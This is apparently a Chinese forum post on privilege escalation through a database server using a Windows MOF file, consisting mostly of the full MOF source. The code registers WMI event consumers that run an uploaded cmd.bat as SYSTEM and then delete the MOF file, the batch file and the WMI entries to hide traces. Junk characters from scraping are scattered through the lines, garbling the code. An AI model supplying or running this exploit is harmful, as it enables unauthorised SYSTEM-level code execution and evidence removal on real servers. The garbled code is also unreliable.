这个sql提权MOF需要运行 system下的文件,不能定义路径。( Z9 l/ v6 r5 \# a
需要将要运行的命令写入到bat上传到system32目录,然后执行。0 J3 a; p6 i; S+ @: a4 Z& y5 d
1 b" n! E8 u# X. H6 G( d- Z d! r这个sql提权MOF需要运行 system下的文件,不能定义路径。 m3 i' N( d; J6 h, m2 i
需要将要运行的命令写入到bat上传到system32目录,然后执行。( v" E2 ]. M7 ]7 ^: V1 r, @
4 Q% R' N, m9 w t#pragma
- U- D" n: n) t namespace("\\\\.\\root\\cimv2")
" _1 a5 c7 ]; p2 K6 X class
. u, j% I0 `2 U8 w# e) x MyClass547: I, B5 |; |6 W( B) T
{ [key]. j v9 r4 H: K; W' ` |4 d+ N/ j( o
string" I. k% G' m. Q
Name;1 p& \' m" C9 B
};3 Q6 V. r* u! H. \, `
class1 z! F1 m/ c( E; x
ActiveScriptEventConsumer# b1 `* v5 \5 g; M O( c
: __EventConsumer { [key]
" F( N5 N; ]9 ]1 m9 ~2 n, N string3 ~1 {. {0 W6 z, ~: J* b
Name; [not_null]7 A/ G5 R, |6 `; v0 R
string
5 o% A; M; n9 E ScriptingEngine; string5 U& x. l, S- w' m, F
ScriptFileName; [template]
# q" I1 p5 l$ z: Z string
7 ^+ Q7 C' z# A9 }+ ]& Z ScriptText; uint32 KillTimeout;
$ X, `- K! D" F; ~ V7 D+ \ }; instance of __Win32Provider as $P {* m. t" t1 w8 A1 c* r' W
Name- Z, g. e, B6 B" M) e$ f; ^
=
/ M" B5 ~" G; t( f "ActiveScriptEventConsumer"; CLSID =
( J. q2 `1 J1 E, G0 s) k5 l X "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";4 B3 P1 f: @; Z I t8 K" w
PerUserInitialization
# @" `9 i8 A9 J& H = TRUE;
2 v+ V2 }1 t; h6 L& U }; instance of __EventConsumerProviderRegistration { Provider
& ~+ P/ O% U6 A# p4 c) t = $P; ConsumerClassNames
2 K, i- C! U: D! [. \ =
* ]: [; j7 m. _/ l* k% s {"ActiveScriptEventConsumer"};* g" i% F' y4 v8 B8 h1 y
};9 Y f* ~5 L4 C- K
Instance of ActiveScriptEventConsumer
4 Z4 {9 a" ]& G as $cons { Name- ?+ B6 v! U) {/ K
=5 O4 t4 S7 b1 {# t+ \* R+ E
"ASEC"; ScriptingEngine
3 E# ]: f/ ` m0 E =
# ~. ?+ k& y" l "JScript"; ScriptText
1 r, V. ]! r; r =
( C3 y' ]$ e# }' s5 M0 n1 J "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
/ k Z& `1 ~& B% K1 P6 W Instance of ActiveScriptEventConsumer
' |( z8 x/ a2 C as $cons2 { Name0 M: B% y2 P; L6 Y
=& W/ P' |7 V7 j& ^* g# | Q
"qndASEC"; ScriptingEngine
6 W8 M+ C5 B$ O) z! X =7 T7 k( o! p9 [
"JScript"; ScriptText) M+ N5 \/ m6 z6 l1 S
=/ m) J* {+ b" Y1 O/ O3 J
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";$ v0 q1 {% ?, b2 G5 b1 s
}; instance of __EventFilter as $Filt { Name% @" v$ J6 o0 {8 x
=
. X) t9 L+ a+ ~0 R. R* ]/ }' E0 U "instfilt"; Query& t5 p$ x1 \6 N7 b3 _
=9 C; A; G' }! R8 c: Y
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
+ h& F! [, C; D. R5 Z =9 G+ K( H; ^0 m! |# w' G5 Y
"WQL"; }; instance of __EventFilter as $Filt2 { Name
6 {( ~& ?2 d) H4 P$ m& l =; q5 |/ L% | ^4 S1 f, E
"qndfilt"; Query$ \ _+ H# N3 F+ e3 }
=- k2 t1 _0 v- l) _% D6 T* k. h
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage X- I& C) ]- I" J; z
=$ R* g& A9 o4 O3 b0 T3 [$ F
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
! ^7 D& n$ v6 f- A9 O8 ~2 L& e# u = $cons; Filter, d. g4 b* Y: k" _; z* Q
= $Filt;
- X% o( L6 R+ w6 |6 }0 W5 s1 N+ ] }; instance of __FilterToConsumerBinding as $bind2 { Consumer2 s& Q4 i* m% y
= $cons2; Filter
0 r# g4 p0 S5 Z* ?, f = $Filt2;
( k$ |1 Q* N2 G- a }; instance of MyClass5476 K$ d, ^3 [- p0 D5 c" E
as $MyClass { Name& {# N5 A" ]' e" l8 E# q, o
=
" M9 a: F! y$ P1 U% C0 |, z "ClassConsumer";
: Z2 N; u4 t9 i' K9 W }; |